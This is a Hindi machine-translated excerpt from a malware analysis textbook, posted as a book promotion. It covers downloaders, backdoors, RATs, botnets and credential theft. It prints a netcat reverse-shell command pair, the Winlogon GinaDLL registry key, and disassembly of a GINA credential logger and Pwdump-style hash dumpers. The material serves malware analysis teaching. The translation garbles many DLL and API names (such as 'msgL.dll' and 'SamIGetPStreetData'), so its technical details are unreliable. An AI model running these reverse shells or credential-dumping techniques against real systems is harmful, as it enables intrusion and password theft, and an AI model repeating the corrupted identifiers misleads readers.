पुस्तक "एक शव परीक्षा दिखाएगी!" व्यावहारिक मैलवेयर विश्लेषण »

मैलवेयर विश्लेषण एक बिल्ली और माउस गेम जैसा दिखता है: कोई नियम नहीं, स्थिति लगातार बदल रही है। इसलिए, इस मामले में, यह केवल कालातीत चीजों और एल्गोरिदम का अध्ययन करने के लिए समझ में आता है। जैसे ही आपको नेटवर्क (या एक हजार नेटवर्क) की सुरक्षा के कार्य का सामना करना पड़ता है, आप इस तरह के विश्लेषण के लिए आगे बढ़ते हैं, और आप बस इस पुस्तक के बिना नहीं कर सकते।

सॉफ्टवेयर डाउनलोड करने और चलाने के लिए कार्यक्रम

सॉफ़्टवेयर डाउनलोड करने और चलाने के लिए डिज़ाइन किए गए दो प्रकार के अक्सर मैलवेयर होते हैं। डाउनलोडर्स (सिस्टम डाउनलोडर्स के साथ भ्रमित नहीं होना) बस इंटरनेट से अतिरिक्त दुर्भावनापूर्ण कोड डाउनलोड करें और इसे स्थानीय कंप्यूटर पर चलाएं। उन्हें अक्सर शोषण के साथ वितरित किया जाता है। वे आमतौर पर दो विंडोज एपीआई कॉल का उपयोग करते हैं, एक के बाद एक, अतिरिक्त मैलवेयर डाउनलोड करने और निष्पादित करने के लिए: URLDownloadtoFileA और WinExec।

लॉन्चर (लॉन्चर) एक निष्पादन योग्य फ़ाइल है जो उनके छिपे हुए निष्पादन (तुरंत या कुछ समय बाद) के लिए दुर्भावनापूर्ण एप्लिकेशन इंस्टॉल करता है। लांचर अक्सर उस सॉफ़्टवेयर के साथ आते हैं जिसे उन्हें चलाने की आवश्यकता होती है। हम उन्हें अध्याय 12 में चर्चा करेंगे।

पिछले दरवाजे

बैकडोर एक प्रोग्राम है जो एक पीड़ित के कंप्यूटर तक पहुंच के साथ एक हमलावर प्रदान करता है। वे मैलवेयर का सबसे पता लगाने योग्य प्रकार हैं, और उनके आकार और सुविधा सेट में काफी भिन्नता हो सकती है। बैकडोर कोड आमतौर पर स्व-निहित होता है और अतिरिक्त संक्रमित फ़ाइलों को डाउनलोड करने की आवश्यकता नहीं होती है।

बैकडोर इंटरनेट पर कई अलग-अलग तरीकों से बातचीत करता है, लेकिन डेटा आमतौर पर HTTP पर पोर्ट 80 के माध्यम से प्रेषित होता है। एचटीटीपी अधिकांश आउटगोइंग नेटवर्क ट्रैफ़िक बनाता है, जो मैलवेयर को अन्य जानकारी की पृष्ठभूमि के खिलाफ किसी का ध्यान नहीं जाने देता है।

अध्याय 14 में, आप सीखेंगे कि पैकेट स्तर पर बैकस्ट का विश्लेषण कैसे किया जाता है, जिससे प्रभावी नेटवर्क हस्ताक्षर बनते हैं। इस बीच, हम उच्च-स्तरीय बातचीत पर ध्यान केंद्रित करेंगे।
बैकडोर कार्यों के एक मानक सेट के साथ आते हैं: रजिस्ट्री कुंजियों में हेरफेर करने की क्षमता, प्रदर्शित खिड़कियों की गिनती, निर्देशिकाएं बनाना, फाइलों की खोज करना, आदि। यह समझने के लिए कि इनमें से कौन सा बैकडोर द्वारा उपयोग किया जाता है, आप यह जांच सकते हैं कि कौन सा विंडोज एपीआई इसे आयात करता है। परिशिष्ट A सामान्य कार्यों की एक सूची प्रदान करता है जो वर्णन करते हैं कि वे मैलवेयर के बारे में क्या कह सकते हैं।

रिवर्स कमांड शेल

एक रिवर्स कमांड शेल एक कनेक्शन है जो एक संक्रमित कंप्यूटर को आरंभ करता है, एक हमलावर को कमांड एक्सेस देता है। यह या तो एक अलग दुर्भावनापूर्ण कार्यक्रम हो सकता है, या अधिक जटिल पिछले दरवाजे के घटकों में से एक हो सकता है। रिवर्स कमांड शेल में रहते हुए, एक हमलावर कमांड निष्पादित कर सकता है जैसे कि यह सब उसके स्थानीय सिस्टम पर हो रहा था।

नेटकैट रिवर्स कमांड शेल

यदि आप दो कंप्यूटरों पर इसे चलाते हैं, तो अध्याय 3 में चर्चा करने वाले Netcat प्रोग्राम का उपयोग कमांड शेल बनाने के लिए किया जा सकता है। हमलावर अक्सर इसका उपयोग स्वयं करते हैं, साथ ही साथ इसे अन्य मैलवेयर के साथ पूरक करते हैं।
Netcat को इस तरह से उपयोग करने के लिए, रिमोट सिस्टम को निम्नलिखित कमांड का उपयोग करके आने वाले कनेक्शन की प्रतीक्षा करनी चाहिए:

nc -l –p 80 

-L स्विच नेटकैट को सुनने के मोड में स्विच करता है, और -p स्विच पोर्ट की निगरानी करता है। अगला, पीड़ित का कंप्यूटर एक आउटगोइंग कनेक्शन शुरू करता है और अपना कमांड शेल प्रदान करता है:

 nc _ip 80 -e cmd.exe 

आईपी ​​80 श्रोता आईपी होस्ट और रिमोट होस्ट का पोर्ट है। -E विकल्प आपको उस प्रोग्राम को निर्दिष्ट करने की अनुमति देता है जो कनेक्शन स्थापित होने पर चलाया जाएगा। इसका मानक इनपुट और आउटपुट सॉकेट के लिए बाध्य होगा (जैसा कि आप बाद में देखेंगे, विंडोज अक्सर cmd.exe का उपयोग करता है)।

विंडोज रिवर्स शेल

हमलावर विंडोज में दो सरल cmd.exe- आधारित रिवर्स कमांड शेल कार्यान्वयन का उपयोग करते हैं: मूल और बहु-थ्रेडेड।

मूल विधि मैलवेयर लेखकों के बीच लोकप्रिय है, क्योंकि इसे लागू करना आसान है और आम तौर पर बहु-थ्रेडेड दृष्टिकोण से भी बदतर काम नहीं करता है। यह CreateProcess को कॉल करने और इसे पारित करने वाले STARTUPINFO संरचना को बदलने पर आधारित है। सबसे पहले, एक सॉकेट बनाया जाता है और रिमोट सर्वर के साथ एक कनेक्शन स्थापित किया जाता है। फिर यह सॉकेट cmd.exe प्रक्रिया के मानक थ्रेड्स (इनपुट, आउटपुट और त्रुटि स्ट्रीम) से जुड़ा हुआ है। CreateProcess विंडो मोड में पीड़ित से इसे छुपाने के लिए cmd.exe चलाता है। अध्याय 7 इस तकनीक का एक उदाहरण देता है।

विंडोज रिवर्स कमांड शेल का एक बहु-थ्रेडेड संस्करण एक सॉकेट, दो पाइप और दो थ्रेड्स बनाने का अर्थ है (इसलिए, आपको CreateThread और CreatePipe कॉल की तलाश करनी चाहिए)। यह विधि कभी-कभी मैलवेयर लेखकों द्वारा सॉकेट पर प्रेषित डेटा को संशोधित या एन्कोडिंग करने की रणनीति के भाग के रूप में उपयोग की जाती है। CreatePipe फ़ंक्शन का उपयोग चैनल को पढ़ने और लिखने के लिए बाध्य करने के लिए किया जा सकता है, जैसे कि मानक इनपुट (स्टडिन) और मानक आउटपुट (स्टडआउट)। CreateProcess फ़ंक्शन आपको मानक थ्रेड्स को एक चैनल से बांधने की अनुमति देता है, और सीधे सॉकेट के लिए नहीं। इसे कॉल करने के बाद, मैलवेयर निष्पादन के दो धागे बनाएगा: एक स्टडिन चैनल से पढ़ने के लिए और सॉकेट में लिखने के लिए, और दूसरा सॉकेट से पढ़ने और लिखने के लिए स्टडआउट चैनल के लिए। आमतौर पर, ये थ्रेड्स डेटा एन्कोडिंग होते हैं, जिस पर हम अध्याय 13 में चर्चा करेंगे। रिवर्स इंजीनियरिंग विधियों का उपयोग करके, आप उन शाखाओं की जांच कर सकते हैं जिनमें स्ट्रीम एक एन्क्रिप्टेड सत्र के दौरान प्राप्त पैकेट को डिकोड करते हैं।

दूरस्थ प्रशासन उपकरण

दूरस्थ प्रशासन उपकरण (RAT) का उपयोग किसी नेटवर्क पर कंप्यूटर या कंप्यूटर को नियंत्रित करने के लिए किया जाता है। वे अक्सर संकीर्ण रूप से लक्षित हमलों में शामिल होते हैं - उदाहरण के लिए, जब जानकारी चोरी करते हैं या कंप्यूटर से कंप्यूटर तक बढ़ते हैं।

अंजीर में। 11.1 RAT की नेटवर्क संरचना को दर्शाता है। पीड़ित के सिस्टम पर चलने वाला सर्वर दुर्भावनापूर्ण कोड से लैस है। क्लाइंट दूरस्थ रूप से काम करता है क्योंकि नियंत्रण मॉड्यूल हमलावर के निपटान में है। सर्वर क्लाइंट को संकेत देते हैं जो उन्हें कनेक्शन आरंभ करने के लिए नियंत्रित करता है। आरएटी में इंटरएक्टिव आमतौर पर मानक बंदरगाहों के माध्यम से होता है, जैसे कि 80 या 443।

botnets

एक बोटनेट संक्रमित नेटवर्क नोड्स (लाश) का एक संग्रह है जिसे केंद्र में प्रबंधित किया जाता है, आमतौर पर एक बॉटनेट कंट्रोलर नामक सर्वर का उपयोग किया जाता है। बॉटनेट का लक्ष्य यथासंभव अधिक से अधिक कंप्यूटरों को संक्रमित करना और उनके आधार पर एक बड़े पैमाने पर नेटवर्क बनाना है जिसका उपयोग अन्य मैलवेयर या स्पैम फैलाने के लिए और DDoS हमलों (वितरित इनकार-सेवा को वितरित करने) के लिए किया जा सकता है। )। यदि एक ही समय में सभी लाश एक निश्चित साइट पर हमला करना शुरू कर दें, तो यह दुर्गम हो सकता है।

आरएटी और बोटनेट की तुलना

बॉटनेट और रिमोट एडमिनिस्ट्रेशन टूल्स के बीच कई महत्वपूर्ण अंतर हैं।

• बोटनेट लाखों नोड्स को संक्रमित और नियंत्रित करने के लिए जाने जाते हैं। आरएटी आमतौर पर बहुत कम कंप्यूटरों द्वारा चलाए जाते हैं।
• सभी बॉटनेट प्रतिभागियों का प्रबंधन एक साथ किया जाता है। आरएटी आपको विभिन्न पीड़ितों के बीच संसाधनों को वितरित करने की अनुमति देता है, क्योंकि एक हमलावर संक्रमित सिस्टम के साथ अधिक निकटता से बातचीत करने की क्षमता रखता है।
• आरएटी का उपयोग संकीर्ण रूप से लक्षित हमलों में किया जाता है, जबकि बॉटनेट उनकी विशाल संख्या के लिए उल्लेखनीय हैं।

क्रेडेंशियल चोरी

हमलावर अक्सर क्रेडेंशियल्स चुराने के लिए हर तरह के हथकंडे अपनाते हैं। यह तीन प्रकार के मैलवेयर के लिए विशेष रूप से सच है।

• प्रोग्राम्स जो उस समय उपयोगकर्ता क्रेडेंशियल्स चोरी करते हैं जब वह सिस्टम में लॉग इन करता है।
• प्रोग्राम जो सीधे उपयोग या आगे डिक्रिप्शन के लिए विंडोज (पासवर्ड, हैश, आदि) में संग्रहीत जानकारी की प्रतिलिपि बनाते हैं।
• प्रोग्राम जो किस्ट्रोक्स रिकॉर्ड करते हैं।

इस खंड में, हम इनमें से प्रत्येक प्रकार के मैलवेयर को देखते हैं।

जीना अवरोधन

Windows XP क्रेडेंशियल्स चुराने के लिए एक ट्रिक का उपयोग करता है, जिसमें GINA (चित्रमय पहचान और प्रमाणीकरण) को रोकना शामिल है। टोकन या स्मार्ट कार्ड के आधार पर रेडियो-फ्रीक्वेंसी आइडेंटिफिकेशन (RFID) जैसी तकनीकों के लिए समर्थन को जोड़ने के लिए GINA सिस्टम को तीसरे पक्ष के अनुप्रयोगों को स्वयं के लिए अनुकूलित करने की अनुमति देने के लिए बनाया गया था। मालवेयर लेखक इस कोड को डाउनलोड करने का अवसर लेते हैं जो क्रेडेंशियल्स चुराता है।

GINA को msgL.dll नामक DLL के रूप में कार्यान्वित किया जाता है और लॉगिन के दौरान Winlogon द्वारा लोड किया जाता है। Winlogon तीसरे पक्ष के प्लगइन्स का भी समर्थन करता है, उन्हें GINA DLL (एक मध्यस्थ हमले में) के सामने लोड करता है। सुविधा के लिए, विंडोज निम्नलिखित रजिस्ट्री शाखा प्रदान करता है, जहां विनलॉगन तीसरे पक्ष के DLL को ढूंढ और लोड कर सकता है:

 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL 

एक बार जब हमें एक संक्रमित fsgina.dll फ़ाइल मिली, जो कि GINA इंटरसेप्टर थी।
अंजीर में। चित्र 11.2 एक उदाहरण दिखाता है कि कैसे लॉगिन जानकारी दुर्भावनापूर्ण पुस्तकालय को मिलती है, जो विनोग्लोन से msgina.dll तक जाती है। मालवेयर (fsgina.dll) उन सभी क्रेडेंशियल्स को इंटरसेप्ट करता है, जिन्हें उपयोगकर्ता प्रमाणीकरण के दौरान दर्ज करता है। वह इसे डिस्क पर लिख सकता है या नेटवर्क पर स्थानांतरित कर सकता है।


चूंकि fsgina.dll लाइब्रेरी Winlogon और GINA के बीच इंटरेक्शन प्रवाह को स्वीकार करती है, इसलिए इसे इसे msgina.dll के पास भेजना होगा ताकि सिस्टम सामान्य रूप से कार्य करता रहे। ऐसा करने के लिए, मैलवेयर को उन सभी फ़ंक्शंस को एक्सपोर्ट करना पड़ता है, जिनके लिए GINA सिस्टम की आवश्यकता होती है - उनमें से 15 से अधिक हैं, और उनमें से अधिकांश में Wlx उपसर्ग है। जाहिर है, अगर आपको DLL में कई निर्यात कार्य मिलते हैं जो Wlx से शुरू होते हैं, तो आप सबसे अधिक संभावना यह मान सकते हैं कि यह GINA इंटरसेप्टर है।

इनमें से अधिकांश निर्यात मेसिना.एलएल के अंदर वास्तविक कार्यों का उपयोग करते हैं। Fsgina.dll के मामले में, यह WlxLoggedOutSAS को छोड़कर सभी कार्यों पर लागू होता है। 11.1 की सूची WlxLoggedOutSAS के निर्यात को fsgina.dll पर दिखाता है।

लिस्टिंग 11.1। GINA DLL में WlxLoggedOutSAS निर्यात फ़ंक्शन जो चोरी की गई साख को रिकॉर्ड करता है

 100014A0 WlxLoggedOutSAS 100014A0 push esi 100014A1 push edi 100014A2 push offset aWlxloggedout_0 ; "WlxLoggedOutSAS" 100014A7 call Call_msgina_dll_function (1) ... 100014FB push eax ; Args 100014FC push offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s" 10001501 push offset aDRIVERS ; "drivers\tcpudp.sys" 10001503 call Log_To_File (2) 

क्रेडेंशियल जानकारी तुरंत Call_msgina_dll_function (1) के रूप में निर्दिष्ट कॉल का उपयोग करके Msina.dll फ़ाइल में स्थानांतरित कर दी जाती है। यह फ़ंक्शन गतिशील रूप से MSNL.dll से WlxLoggedOutSAS कॉल का पता लगाता है और लॉन्च करता है, जो एक तर्क के रूप में निर्दिष्ट है। कॉल ऑन लाइन (2) डेटा रिकॉर्ड करती है। तर्क के रूप में, यह लेखांकन जानकारी लेता है, एक प्रारूप स्ट्रिंग जिसके साथ यह जानकारी प्रदर्शित की जाएगी, और रिकॉर्डिंग के लिए एक फ़ाइल नाम। परिणामस्वरूप, किसी भी सफल लॉगिन के बारे में जानकारी% SystemRoot% \ system32 \ driver \ tcpudp.ysys फ़ाइल में सहेजी जाती है। इस फ़ाइल में उपयोगकर्ता नाम, डोमेन और दो पासवर्ड हैं - वर्तमान और पुराना।

बचत बचत

विंडोज पर दुर्भावनापूर्ण सॉफ़्टवेयर अक्सर क्रेडेंशियल तक पहुंच प्राप्त करने के लिए सिस्टम हैश को बचाता है। बचाने के बाद, हमलावर इन हैश को डिक्रिप्ट करने की कोशिश करते हैं या पास-पास-हैश की तरह हमला करने के लिए उपयोग करते हैं। इस हमले के दौरान, दूरस्थ NTLM प्रमाणीकरण के लिए LM और NTLM हैश का उपयोग किया जाता है, जिसके लिए डिक्रिप्शन और संबंधित पासवर्ड प्राप्त करने की आवश्यकता नहीं होती है।

हैश को बचाने के लिए, Pwdump और Pass-the-Hash (PSH) सॉफ़्टवेयर पैकेज हैं जो मुफ़्त हैं। चूंकि ये दोनों उपकरण खुले स्रोत हैं, इसलिए उनके आधार पर बहुत सारे मैलवेयर बनाए गए हैं।

अधिकांश एंटीवायरस के पास इन उपयोगिताओं के मानक संकलित संस्करणों के लिए हस्ताक्षर हैं, इसलिए हमलावर अक्सर पता लगाने से बचने के लिए अपने स्वयं के रूपांतरों को संकलित करने का प्रयास करते हैं। इस अध्याय में उदाहरण pwdump और PSH के प्रकार हैं जो हम वास्तविक जीवन में आए हैं।

Pwdump ऐसे कार्यक्रमों का एक समूह है जो सुरक्षा खाता प्रबंधक (SAM) के स्थानीय उपयोगकर्ताओं से संबंधित LM i NTLM प्रारूप में हैश का उत्पादन करता है। Pwdump ने DLL को LSASS प्रक्रिया (स्थानीय सुरक्षा प्राधिकरण सबसिस्टम सेवा) में इंजेक्ट किया, जिसे lsass.exe के रूप में जाना जाता है। हम अध्याय 12 में DLL के कार्यान्वयन पर चर्चा करेंगे, लेकिन अभी के लिए, आपको केवल यह जानना होगा कि यह एक ऐसी तकनीक है जिसके माध्यम से मैलवेयर अन्य प्रक्रियाओं के अंदर पुस्तकालयों को निष्पादित करता है, उनके सभी विशेषाधिकारों का उपयोग करता है। हैश को बचाने के लिए उपकरण अक्सर lsass.exe प्रक्रिया पर हमला करते हैं क्योंकि इसमें पर्याप्त विशेषाधिकार और कई उपयोगी एपीआई कार्यों तक पहुंच होती है।

Pwdump का मानक संस्करण lsaext.dll लाइब्रेरी का उपयोग करता है। जब इसे lsass.exe में इंजेक्ट किया जाता है, तो यह गेटहैश फ़ंक्शन को कॉल करता है, जो हैश को पुनः प्राप्त करने के लिए lsaext.dll से निर्यात किया जाता है। इस मामले में, अनिर्धारित विंडोज फ़ंक्शन का उपयोग किया जाता है, जो आपको सिस्टम के सभी उपयोगकर्ताओं के सीरियल नंबर और उनमें से प्रत्येक के लिए पासवर्ड के अनएन्क्रिप्टेड हैश को प्राप्त करने की अनुमति देगा।

Pwdump की भिन्नता का सामना करते हुए, आपको यह समझने के लिए कि पुस्तकालयों को कैसे सहेजा जाता है, इसका विश्लेषण करने की आवश्यकता है। पहली बात यह है कि आपको निर्यात कार्यों पर ध्यान देना चाहिए। गेटहैश कॉल को डिफ़ॉल्ट रूप से Pwdump से निर्यात किया जाता है, लेकिन हमलावर इसे आसानी से पहचानने के लिए इसका नाम बदल सकते हैं। फिर आपको उन कार्यों को निर्धारित करने का प्रयास करना चाहिए जो निर्यात कॉल में उपयोग किए जाते हैं। उनमें से कई को गतिशील रूप से स्थित किया जा सकता है; इसलिए, निर्यात कॉल अक्सर GetProcAddress ऑपरेशन का पुन: उपयोग करते हैं।

लिस्टिंग 11.2 Pwdump के एक संस्करण के DLL से GrabHash एक्सपोर्ट फंक्शन कोड को दिखाता है। चूंकि लाइब्रेरी lsass.exe में एम्बेडेड है, इसलिए कई वर्णों का उपयोग करने से पहले, उन्हें पहले मैनुअल मोड में खोजना होगा।

लिस्टिंग 11.2। Pwdump वेरिएंट में GrabHash एक्सपोर्ट फंक्शन द्वारा यूनीक एपीआई कॉल का उपयोग किया जाता है

 1000123F push offset LibFileName ; "samsrv.dll" (1) 10001244 call esi ; LoadLibraryA 10001248 push offset aAdvapi32_dll_0 ; "advapi32.dll" (2) ... 10001251 call esi ; LoadLibraryA ... 1000125B push offset ProcName ; "SamIConnect" 10001260 push ebx ; hModule 10001265 call esi ; GetProcAddress ... 10001281 push offset aSamrqu ; "SamrQueryInformationUser" 10001286 push ebx ; hModule 1000128C call esi ; GetProcAddress ... 100012C2 push offset aSamigetpriv ; "SamIGetPrivateData" 100012C7 push ebx ; hModule 100012CD call esi ; GetProcAddress ... 100012CF push offset aSystemfuncti ; "SystemFunction025" (3) 100012D4 push edi ; hModule 100012DA call esi ; GetProcAddress 100012DC push offset aSystemfuni_0 ; "SystemFunction027" (4) 100012E1 push edi ; hModule 100012E7 call esi ; GetProcAddress 

11.2 को सूचीबद्ध करने के लिए लोडशुल्लेट्स को कॉल करके samsrv.dll (1) और advapi32.dll (2) लाइब्रेरी डिस्क्रिप्टर प्राप्त करने के लिए कोड दिखाता है। Samsrv.dll फ़ाइल में SAM तक आसान पहुँच के लिए API मौजूद है, और advapi32.dll फ़ाइल उन कार्यों तक पहुँचने के लिए मिली है जिन्हें lsass.exe में आयात नहीं किया गया था। इस भिन्नता का गतिशील पुस्तकालय Pwdump कई कार्यों की खोज के लिए इन पुस्तकालयों के विवरणकों का उपयोग करता है। पाँच सबसे महत्वपूर्ण सूची में दिखाए गए हैं (नोट GetProcAddress कॉल और उनके तर्क)।

SamIConnect, SamrQueryInformationUser, और SamIGetPStreetData जैसे दिलचस्प कॉल samsrv.dll से आयात किए जाते हैं। SamIConnect कॉल को बाद में SAM से कनेक्ट करने के लिए उपयोग किया जाता है, जिसके बाद सिस्टम में प्रत्येक उपयोगकर्ता के लिए SamrQueryInformationUser फ़ंक्शन को कॉल किया जाता है।

हैश को SamIGetPStreetData कॉल का उपयोग करके पुनर्प्राप्त किया जाता है, और तब advapi32.dll (लाइनों (2) और (3)) से आयातित SystemFunction025 और SystemFunction027 फ़ंक्शन का उपयोग करके डिक्रिप्ट किया जाता है। इस लिस्टिंग में एपीआई कार्यों में से कोई भी आधिकारिक दस्तावेज में वर्णित नहीं है।

PSH टूलकिट में हैश डंप बनाने वाले प्रोग्राम होते हैं। इन डंपों में से सबसे लोकप्रिय को व्हॉट्स-एश के नाम से जाना जाता है। यह lsass.exe में DLL को एम्बेड करके SAM सामग्री को संग्रहीत करता है। उसी समय, जब Pwdump के साथ तुलना की जाती है, तो API फ़ंक्शन का पूरी तरह से अलग सेट उपयोग किया जाता है। 11.3 की सूची वर्स्टहेयर-ऑल के लिए संस्करण कोड दिखाती है, जो टेस्टडंप नामक फ़ंक्शन का निर्यात करता है।

लिस्टिंग 11.3। अनोखा एपीआई कॉल व्हॉट्सएयर-ऑल्ट संस्करण के एक्सपोर्ट फंक्शन टेस्टडम्प द्वारा उपयोग किया जाता है

 10001119 push offset LibFileName ; "secur32.dll" 1000111E call ds:LoadLibraryA 10001130 push offset ProcName ; "LsaEnumerateLogonSessions" 10001135 push esi ; hModule 10001136 call ds:GetProcAddress (1) ... 10001670 call ds:GetSystemDirectoryA 10001676 mov edi, offset aMsv1_0_dll ; \\msv1_0.dll ... 100016A6 push eax ; path to msv1_0.dll 100016A9 call ds:GetModuleHandleA (2) 

चूंकि यह लाइब्रेरी lsass.exe में एम्बेडेड है, इसलिए इसका TestDump फ़ंक्शन एक हैश डंप बनाता है। यह गतिशील रूप से secur32.dll फ़ाइल को लोड करता है और स्थानीय रूप से विशिष्ट पहचानकर्ताओं (LUIDs) की सूची प्राप्त करने के लिए इसमें LsaEnumerateLogonSession (1) कॉल करता है। इस सूची में वे नाम और डोमेन हैं जो प्रत्येक लॉगिन पर इंगित किए गए थे। पुस्तकालय लेखांकन जानकारी तक पहुंच प्राप्त करने के लिए उनके माध्यम से जाता है। ऐसा करने के लिए, GetModuleHandle (2) के लिए कॉल का उपयोग करते हुए, वह एक गैर-सूचीबद्ध फ़ंक्शन, NlpGetPrimaryCredential के लिए msv1_0.dll के अंदर खोज करता है, जो NT और LMD की डंपिंग की अनुमति देता है।

लेखकों के बारे में

माइकल सिकोरस्की मैंडिएंट में एक सुरक्षा विशेषज्ञ हैं। वह एक घटना की जांच के हिस्से के रूप में मैलवेयर विश्लेषण में शामिल है और सूचना सुरक्षा के लिए अमेरिकी सरकार के सलाहकार हैं। माइकल ने मैलवेयर विश्लेषण पाठ्यक्रमों की एक श्रृंखला विकसित की है और उन्हें एफबीआई और ब्लैक हैट सहित विविध दर्शकों को सिखाता है। मैंडियंट से पहले, वह मैसाचुसेट्स इंस्टीट्यूट ऑफ टेक्नोलॉजी में लिंकन प्रयोगशाला के एक कर्मचारी थे और निष्क्रिय नेटवर्क टोपोलॉजी और पैठ परीक्षण पर शोध किया था। इसके अलावा, माइकल ने एनएसए में सिस्टम और नेटवर्क पर तीन साल का अंतःविषय प्रशिक्षण कार्यक्रम पूरा किया। प्रशिक्षण के दौरान, उन्होंने रिवर्स इंजीनियरिंग तकनीकों के अध्ययन में भाग लिया और नेटवर्क विश्लेषण के क्षेत्र में कई पुरस्कार प्राप्त किए।

एंड्रयू होनिग अमेरिकी रक्षा विभाग में एक सूचना सुरक्षा विशेषज्ञ हैं। वह एक प्रमाणित सूचना प्रणाली सुरक्षा विशेषज्ञ होने के साथ नेशनल स्कूल ऑफ क्रिप्टोग्राफी में विंडोज ऑपरेटिंग सिस्टम (ओएस) के लिए सॉफ्टवेयर विश्लेषण, रिवर्स इंजीनियरिंग और प्रोग्रामिंग सिखाता है। एंड्रयू के कारण वीएमवेयर वर्चुअलाइजेशन के लिए कई शून्य-दिन के कारनामे, साथ ही संक्रमित कर्नेल मॉड्यूल सहित नवीन मैलवेयर का पता लगाने के लिए उपकरण। कंप्यूटर सुरक्षा के क्षेत्र में एक विश्लेषक के रूप में दस साल का अनुभव होने पर, उन्हें दुर्भावनापूर्ण और सामान्य दोनों कार्यक्रमों के विश्लेषण और व्याख्या में एक विशेषज्ञ माना जाता है।

»पुस्तक की अधिक जानकारी प्रकाशक की वेबसाइट पर पाई जा सकती है
» सामग्री
» अंश

Khabrozhiteley के लिए कूपन पर 20% की छूट - एक शव परीक्षा दिखाएगी